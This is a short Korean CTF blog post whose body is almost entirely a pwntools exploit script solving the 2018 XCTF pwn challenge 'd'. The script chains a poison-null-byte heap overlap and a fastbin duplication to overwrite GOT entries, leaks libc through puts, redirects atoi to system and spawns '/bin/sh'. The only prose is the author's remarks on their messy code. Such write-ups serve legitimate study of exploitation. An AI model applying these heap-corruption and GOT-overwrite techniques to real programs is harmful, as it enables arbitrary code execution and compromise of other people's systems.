튜기's blogggg

2018 Xctf d

by St1tch

흠 

익스를 했긴한데 왜캐 코드가 더럽지 에혀

오랜만에 해서 너무 의식의 흐름대로 푼거같다




from pwn import *

context.log_level = 'debug'
context.log_level = 'info'

sl = lambda *pays: [s.sendlineafter(':', str(pay)) for pay in pays]
sf = lambda *pays: [s.sendafter(':', str(pay)) for pay in pays]
read = lambda idx, dat : sl('1', idx, dat)
edit = lambda idx, dat : sl('2', idx, dat)
wipe = lambda idx : sl('3', idx)
p64 = lambda *x : flat(*x, word_size=64)
p32 = lambda *x : flat(*x, word_size=32)
padd = 0xffffffffffffffff

def solver() :
    def poison_null_byte():
        pay = b64e('a'*0x88)[:-2]
        read(0, pay)
        
        pay = b64e('b'*0x200)[:-2]
        read(1, pay)
        
        pay = b64e('c'*0x88)[:-2]
        read(2, pay)
        
        #set fake prev_size
        pay = 'b' * 0x1f0 + p64(0x200)
        edit(1, pay)
        wipe(1)
        
        #poison null byte
        pay = 'a'*0x88
        edit(0, pay)
        edit(0, pay[:0x80]+p64(0)[:7])
        
        #malloc*2 into unsorted bin
        pay = b64e('d'*0x88)[:-2]
        read(3, pay)
        
        pay = b64e('e'*0x88)[:-2]
        read(4, pay)
        
        wipe(3)
        wipe(2)
    
    def fastbin_dup(): 
        #duplicated chunk
        pay = b64e('f'*0x288)[:-2]
        read(5, pay)
        
        #make fake fastbin chunk
        pay = p64(
                [padd]*2*8,
                padd, 0x71,
                [padd]*2*6,
                padd, 0x70
                )
        edit(5, pay)
        wipe(5)
        wipe(4)
        
        pay = b64e(cyclic(0x288))[:-2]
        read(6, pay)
        
        #fake fd
        pay = cyclic(16*8)
        pay += p64(0)+p64(0x71)
        pay += p64(0x60216d)    #fake address
        edit(6, pay)
        
        #fake address into fastbins
        pay = b64e('h'*0x60)
        read(7, pay)
    
    def overwrite_heaparr():
        #allocate to heapaddr_array
        pay = b64e('aaa'+'x'*0x57)
        read(11, pay)
    
        #overwrite got address(bss)
        pay = 'aaa'
        pay += p64(
                elf.got['free'],    #0 
                elf.got['atoi'],    #1
                elf.got['atoi'],    #2
                0x602010,           #3
                0x602008,           #4
                0x602078            #5
                )
        edit(11, pay)

    def make_fake_chunk():
        #make fake fastbin chunk in bss
        edit(4, p64(0x71)[:-2])
        edit(5, p64(0x71)[:-2])
        wipe(3)
    
    def leak():
        #overwrite free@got to puts@plt 
        edit(0, p64(elf.plt['puts']))

        wipe(1)
        leak = u64(s.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
        libc.address = leak - libc.symbols['atoi']
        log.info(hex(libc.address))
    
    def overwrite_got():
        #overwrite atoi@got to system
        pay = p64(
                padd, libc.symbols['free'], 
                libc.symbols['puts'], libc.symbols['strlen'], 
                padd, libc.symbols['printf'], 
                padd, libc.symbols['read'], 
                padd, libc.symbols['malloc'], 
                padd, libc.symbols['system'],
                )
        read(12, b64e(pay))
    
    poison_null_byte()
    fastbin_dup()
    overwrite_heaparr()
    make_fake_chunk()
    leak()
    overwrite_got()

    s.sendline('/bin/sh;')
    s.interactive()
    

if __name__ == '__main__' :
    s = process('./prob')
    print util.proc.pidof(s)
    pause()
    elf = ELF('prob')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    solver()



블로그의 정보

튜기's blogg(st1tch)

St1tch

활동하기